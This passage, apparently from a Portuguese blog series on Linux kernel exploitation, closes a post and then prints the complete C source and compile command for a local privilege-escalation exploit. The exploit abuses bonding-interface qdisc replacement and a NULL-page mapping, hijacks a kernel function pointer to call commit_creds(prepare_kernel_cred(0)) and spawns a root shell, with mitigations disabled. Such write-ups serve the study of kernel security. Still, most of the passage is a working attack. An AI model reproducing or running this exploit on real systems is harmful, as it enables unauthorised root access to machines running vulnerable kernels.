[    2.199707] intel_rapl_msr: PL4 support detected.
[  139.097934] bond0 (unregistering): Released all slaves

Próximos passos

Nesta parte da série, entendemos melhor como a vulnerabilidade acontece, realizamos a sua exploração, alcançamos a execução de uma shell com privilégios de root e mantivemos o sistema estável. Dessa forma, deve ser possível executar o exploit quantas vezes quisermos sem afetar o correto funcionamento do sistema.

Até então fizemos esses passos com todas as mitigações (principalmente KASLR e SMEP) desabilitadas. No próximo post, continuaremos com a exploração da vulnerabilidade, mas dessa vez contornaremos as mitigações pertinentes para nosso projeto.

Referências

Caso deseje mais materiais sobre os assuntos deste post, recomendamos as seguintes fontes:

Código final do exploit

O código do exploit foi construído passo a passo ao longo deste post, mas aqui está sua versão completa. Para compilá-lo, utilize o comando abaixo.

$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)

#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <linux/if.h>
#include <sys/mman.h>

#include <netlink/socket.h>
#include <netlink/route/link.h>
#include <netlink/route/link/bonding.h>
#include <netlink/route/tc.h>
#include <netlink/route/qdisc.h>

struct netdev_queue {
    char pad1[16];
    void *qdisc_sleeping;
    char pad2[360];
};

struct Qdisc_ops {
    char pad1[80];
    void *destroy;
    char pad2[88];
};

struct Qdisc {
    char pad1[24];
    struct Qdisc_ops *ops;
    char pad2[32];
    void *dev_queue;
    char pad3[28];
    int refcnt;
    char pad4[280];
} __attribute__((__aligned__(64)));

typedef unsigned long *(*prepare_kernel_cred_t)(unsigned long *);
typedef unsigned long (*commit_creds_t)(unsigned long *);
typedef unsigned long (*rtnl_unlock_t)(void);

prepare_kernel_cred_t prepare_kernel_cred = (prepare_kernel_cred_t)0xffffffff810cd370;
commit_creds_t commit_creds = (commit_creds_t)0xffffffff810cd0d0;
rtnl_unlock_t rtnl_unlock = (rtnl_unlock_t)0xffffffff817c6ac0;

unsigned long user_rsp, user_rflags;

#define PAGE_SIZE   4096
#define PAGES       1

void setup_namespace(void) {
    int f;

    printf("[*] Creating namespace\n");

    if (unshare(CLONE_NEWNET | CLONE_NEWUSER) < 0) {
        perror("unshare");
        exit(EXIT_FAILURE);
    }

    f = open("/proc/self/uid_map", O_WRONLY);
    if(f < 0) {
        perror("cannot open /proc/self/uid_map");
        exit(EXIT_FAILURE);
    }

    if(write(f, "0 1000 1", 8) < 0) {
        perror("cannot write on /proc/self/uid_map");
        close(f);
        exit(EXIT_FAILURE);
    }

    close(f);
}

int create_bond_interface(struct nl_sock * nl, char * name) {
    struct rtnl_link *link;
    int ret = 0;

    if (nl == NULL){
        return -1;
     }

     if (name == NULL){
         return -1;
     }

    printf("[*] Creating interface %s\n", name);

    link = rtnl_link_bond_alloc();
    if (link == NULL){
        return -1;
    }

    rtnl_link_set_name(link, name);

    ret = rtnl_link_add(nl, link, NLM_F_CREATE);

    rtnl_link_put(link);

    return ret;
}

int set_interface_up(struct nl_sock * nl, char * name) {
    struct rtnl_link *link;
    int ret = 0;

    if (nl == NULL){
        return -1;
    }

    if (name == NULL){
        return -1;
    }

    printf("[*] Setting interface %s up\n", name);

    link = rtnl_link_bond_alloc();
    if (link == NULL){
        return -1;
    }

    rtnl_link_set_name(link, name);

    rtnl_link_set_flags(link, IFF_UP);
    ret = rtnl_link_add(nl, link, NLM_F_CREATE);

    rtnl_link_put(link);

    return ret;
}

int qdisc_add(struct nl_sock * nl, char * name) {
    struct rtnl_qdisc *qdisc;
    struct rtnl_link *link;
    int ret = 0;

    if (nl == NULL){
        return -1;
     }

    if (name == NULL){
         return -1;
     }

    printf("[*] Adding a qdisc to %s interface\n", name);

    qdisc = rtnl_qdisc_alloc();
    if (qdisc < 0) {
        perror("qdisc allocatio\n");
        return -1;
    }

    if (rtnl_link_get_kernel(nl, 0, name, &link) < 0) {
        perror("can't find interface");
        rtnl_qdisc_put(qdisc);
        return -1;
    }

    printf("[*] ifindex: %d\n", rtnl_link_get_ifindex(link));

    rtnl_tc_set_link(TC_CAST(qdisc), link);
    rtnl_tc_set_parent(TC_CAST(qdisc), TC_H_ROOT);
    rtnl_tc_set_handle(TC_CAST(qdisc), TC_HANDLE(0xffff, 0));
    rtnl_tc_set_kind(TC_CAST(qdisc), "mq");

    ret = rtnl_qdisc_add(nl, qdisc, NLM_F_CREATE);

    rtnl_qdisc_put(qdisc);
    rtnl_link_put(link);

    return ret;
}

int qdisc_replace(struct nl_sock * nl, char * name) {
    struct rtnl_qdisc *qdisc_new;
    struct rtnl_link *link;
    int ret = 0;

    if (nl == NULL){
        return -1;
    }

    if (name == NULL){
        return -1;
    }

    printf("[*] Replace qdisc on %s interface\n", name);

    qdisc_new = rtnl_qdisc_alloc();
    if (qdisc_new < 0) {
        perror("qdisc new allocatio\n");
        return -1;
    }

    if (rtnl_link_get_kernel(nl, 0, name, &link) < 0) {
        perror("can't find interface");
        rtnl_qdisc_put(qdisc_new);
        return -1;
    }

    rtnl_tc_set_link(TC_CAST(qdisc_new), link);
    rtnl_tc_set_parent(TC_CAST(qdisc_new), TC_HANDLE(0xffff,0xfff1));
    rtnl_tc_set_handle(TC_CAST(qdisc_new), TC_HANDLE(0xffff, 0));
    rtnl_tc_set_kind(TC_CAST(qdisc_new), "mq");

    ret = rtnl_qdisc_add(nl, qdisc_new, NLM_F_REPLACE);

    rtnl_qdisc_put(qdisc_new);
    rtnl_link_put(link);

    return ret;
}

void save_registers (void) {
    asm(
        "mov %%rsp, %0;"
        "pushf;"
        "pop %1;"
        : "=r" (user_rsp),
          "=r" (user_rflags)
    );
}

void got_root (void) {
    char *argv[] = {"/bin/sh", NULL};
        
    if (getuid() == 0) {
        printf("[*] Got root!\n");
        execve(argv[0], argv, NULL);
        exit(EXIT_SUCCESS);
    } else {
        printf("[*] We didn't get root, UID: %d\n", getuid());
        exit(EXIT_FAILURE);
    }
}

void privesc (void) {
    unsigned long *cred;

    cred = prepare_kernel_cred(NULL);

    commit_creds(cred);

    rtnl_unlock();

    asm(
        "swapgs;"

        "mov %0, %%rsp;"
        "mov %1, %%rcx;"
        "mov %2, %%r11;"
        "sysretq;"
        :: "r" (user_rsp),
           "r" (&got_root),
           "r" (user_rflags)
    );
}

int main (void) {
    struct nl_sock *sock_nl;
    struct Qdisc myqdisc;
    struct Qdisc myqdisc2;
    struct Qdisc_ops ops;
    struct netdev_queue netdev_queue;
    unsigned long *mynull;
    int err = 0;

    memset(&myqdisc, 0, sizeof(myqdisc));
    memset(&myqdisc2, 0, sizeof(myqdisc2));
    memset(&ops, 0, sizeof(ops));
    memset(&netdev_queue, 0, sizeof(netdev_queue));

    setup_namespace();

    mynull = mmap(NULL, PAGE_SIZE * PAGES, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
    if (mynull == MAP_FAILED) {
        perror("null mapping");
        exit(EXIT_FAILURE);
    }

    *mynull = (unsigned long )&myqdisc;

    myqdisc.dev_queue = &netdev_queue;
    netdev_queue.qdisc_sleeping = &myqdisc2;

    myqdisc2.refcnt = 1;
    myqdisc2.ops = &ops;
    ops.destroy = (void *)privesc;

    save_registers();

    sock_nl = nl_socket_alloc();
    if(sock_nl == NULL){
        perror("nl_socket_alloc");
        exit(EXIT_FAILURE);
    }

    if (nl_connect(sock_nl, NETLINK_ROUTE) < 0) {
        perror("connect");
        err = EXIT_FAILURE;
        goto error;
    }

    if (create_bond_interface(sock_nl, "bond0") < 0) {
        perror("bond_interface");
        err = EXIT_FAILURE;
        goto error;
    }

    if (set_interface_up(sock_nl, "bond0") < 0) {
        perror("bond_interface");
        err = EXIT_FAILURE;
        goto error;
    }

    if (qdisc_add(sock_nl, "bond0") < 0) {
        perror("qdisc add");
        err = EXIT_FAILURE;
        goto error;
    }

    if (qdisc_replace(sock_nl, "bond0") < 0) {
        perror("qdisc replace");
        err = EXIT_FAILURE;
        goto error;
    }

error:
    nl_socket_free(sock_nl);
    return err;
}